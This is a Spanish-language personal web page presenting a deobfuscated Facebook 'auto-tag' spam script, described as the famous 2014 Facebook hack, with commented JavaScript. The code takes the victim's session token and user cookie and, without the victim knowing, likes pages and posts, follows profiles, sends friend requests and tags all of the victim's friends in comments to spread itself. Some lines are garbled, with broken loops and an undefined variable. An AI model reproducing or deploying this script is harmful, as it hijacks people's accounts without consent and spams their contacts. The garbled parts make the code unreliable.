Página Anonima.
Secretos del WEB.

Facebook Auto-tag

Es el famoso "hack de facebook 2014 100% Real full, sin virus ni publicidad", estaba escrito en una especie de "encryptacion", en la cual, entre otras cosas, las variables y funciones se reemplazan por una cadena hexagesimal. Ya lo arregle para hacerlo mas legible, y cambie el nombre de las funciones para que sea mas fácil saber que hace, el idioma original era Turco, como la mayoria de jscript's.

  1. // Obtenemos la informcaion necesaria del usuario
  2. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  3. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  4. var now=(new Date).getTime(); //y la fecha :v
  5.  
  6.  
  7. /**
  8.  *              like(id_de_la_pagina)
  9.  *     
  10.  *              El usuario dara me gusta a la pagina indicada ( sin saberlo claro )
  11.  */
  12. function like(p){ //Donde p es la pagina a la que se le dara like
  13.         var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  14.         var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  15.         var now=(new Date).getTime(); //y la fecha :v
  16.         var Page       = new XMLHttpRequest();
  17.         var PageURL    = "//www.facebook.com/ajax/pages/fan_status.php";
  18.         var PageParams ="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
  19.         Page.open("POST",PageURL,true);
  20.         Page.onreadystatechange = function(){
  21.                 if(Page.readyState == 4 && Page.status == 200){
  22.                         Page.close
  23.                 }
  24.         };
  25.         Page.send(PageParams)
  26.  }
  27.  
  28. /**
  29.  *      follow(profile_id)
  30.  *
  31.  *              El usuario se convertira en follower del perfil indicado
  32.  */
  33. function follow(p){ //Donde p es el perfil que se seguira
  34.         var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  35.         var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  36.         var now=(new Date).getTime(); //y la fecha :v
  37.         var http4   = new XMLHttpRequest;
  38.         var url4    = "/ajax/follow/follow_profile.php?__a=1";
  39.         var params4 = "profile_id="+p+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  40.         http4.open("POST",url4,true);
  41.         http4.onreadystatechange = function(){
  42.                 if(http4.readyState == 4 && http4.status == 200)http4.close
  43.         };
  44.         http4.send(params4)
  45. }
  46.  
  47. /**
  48.  *              suscribeList(list_id)
  49.  *
  50.  *                      Suscribe al usuario a una lista :v
  51.  */
  52. function suscribeList(l){ //Te suscribe a una lista (no sabia que existian esas madres xD), 'l' es el id de la lista
  53.         var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  54.         var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  55.         var now=(new Date).getTime(); //y la fecha :v
  56.         var a       = document.createElement('script');
  57.         a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+l+" }).send();";
  58.         document.body.appendChild(a)
  59.         }
  60.        
  61. /**
  62.  *      likePost(post_id)
  63.  *
  64.  *              El usuario donara un laic al post indicado :v
  65.  */    
  66. function likePost(p){ //le dara like a un post, donde p es el id del post
  67.         var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  68.         var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  69.         var now=(new Date).getTime(); //y la fecha :v
  70.         var X       = new XMLHttpRequest();
  71.         var XURL    = "//www.facebook.com/ajax/ufi/like.php";
  72.         var XParams ="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=1380391385519013&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";
  73.         X.open("POST",XURL,true);
  74.         X.onreadystatechange=function(){
  75.                 if(X.readyState == 4 && X.status == 200){
  76.                         X.close}
  77.                 };
  78.                 X.send(XParams)
  79.         }
  80.        
  81. /**
  82.  *      sendFriendRequest(profile_id)
  83.  *
  84.  *              El usuario enviara una solicitud de amistad al perfil indicada xD
  85.  */    
  86. function sendFriendRequest(id){
  87.         var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  88.         var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  89.         var now=(new Date).getTime(); //y la fecha :v
  90.         var X       = new XMLHttpRequest();
  91.         var XURL    = "//www.facebook.com/ajax/add_friend/action.php";
  92.         var XParams = "to_friend=" + id +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
  93.         X.open("POST",XURL,true);
  94.         X.onreadystatechange=function(){
  95.                 if(X.readyState == 4 && X.status == 200){
  96.                         X.close}
  97.                 };
  98.                 X.send(XParams)
  99.         }
  100.  
  101.  
  102. //_----------------------------------------------------------------------------------------------------------
  103. //      La parte mas interesante que hace la magia del spam xD, etiquetar a los contactos en los comentarios xD
  104.  
  105. //variable necesaria, no las toques xD (es para almacenar la lista de contactos)
  106. var arkadaslar = [];
  107.  
  108.  
  109. /**
  110.  *      tagContacs(post_id)
  111.  *
  112.  *              Etiquetara a los amigos del usuario en los comentarios del post indicado :3
  113.  */
  114. function tagContacs(id){
  115.         var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  116.         var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  117.         var now=(new Date).getTime(); //y la fecha :v
  118.         var _request = new XMLHttpRequest();
  119.        
  120.         _request["onreadystatechange"] = function (){
  121.                 if(_request["readyState"] == 4){
  122.                         eval("arkadaslar = " + _request["responseText"].toString()["replace"]("for (;;);","")+ ";");
  123.                         for(= 0; f < Math["round"](arkadaslar["payload"]["entries"]["length"]/27); f++ ) {
  124.                        
  125.                                 mesaj      = "";
  126.                                 mesaj_text = "";
  127.                                
  128.                                 for(= f * 27; i < (+ 1) * 27; i++) {
  129.                                         if(arkadaslar["payload"]["entries"][i]){
  130.                                                 mesaj +=  " @[" + arkadaslar["payload"]["entries"][i]["uid"] + ":" +arkadaslar["payload"]["entries"][i]["text"] + "]";
  131.                                                 mesaj_text += " " + arkadaslar["payload"]["entries"][i]["text"];
  132.                                         };
  133.                                 };
  134.                                 sendTagPost(id,mesaj);
  135.                         };
  136.                 };
  137.         };
  138.        
  139.         var a = "&filter[0]=user";
  140.        
  141.         a += "&options[0]=friends_only";
  142.         a += "&options[1]=nm";
  143.         a += "&token=v7";
  144.         a += "&viewer=" + user_id;
  145.         a += "&__user=" + user_id;
  146.        
  147.         if(document["URL"]["indexOf"]("https://") >= 0) {
  148.                 _request["open"]("GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + a, true);
  149.         } else {
  150.                 _request["open"]("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + a, true);
  151.         };
  152.        
  153.         _request["send"]();
  154. };
  155.  
  156.  
  157. function sendTagPost(id,content) {
  158.         var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  159.         var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  160.         var now=(new Date).getTime(); //y la fecha :v
  161.         var _request = new XMLHttpRequest();
  162.         var a = "";
  163.         a += "&ft_ent_identifier=" + id;
  164.         a += "&comment_text="      + encodeURIComponent(content);
  165.         a += "&source=2";
  166.         a += "&client_id=1377871797138:1707018092";
  167.         a += "&reply_fbid";
  168.         a += "&parent_comment_id";
  169.         a += "&rootid=u_jsonp_2_3";
  170.         a += '&clp={"cl_impid":"453524a0","clearcounter":0,"elementid":"js_5","version":"x","parent_fbid":' + id + "}";
  171.         a += "&attached_sticker_fbid=0";
  172.         a += "&attached_photo_fbid=0";
  173.         a += "&giftoccasion";
  174.         a += "&ft[tn]=[]";
  175.         a += "&__user=" + user_id;
  176.         a += "&__a=1";
  177.         a += "&__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
  178.         a += "&__req=q";
  179.         a += "&fb_dtsg=" + fb_dtsg;
  180.         a += "&ttstamp=";
  181.        
  182.         _request["open"]("POST","/ajax/ufi/add_comment.php",true);
  183.        
  184.         _request["setRequestHeader"]("Content-type","application/x-www-form-urlencoded");
  185.        
  186.         _request["onreadystatechange"] = function() {
  187.        
  188.                 if(_request["readyState"] == 4 && _request["status"] == 200) {
  189.                         _request["close"];
  190.                 };
  191.                
  192.         };
  193.        
  194.         _request["send"](a);
  195. };
  196.  
  197. //-----------------------------------------------------------------------------------------
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis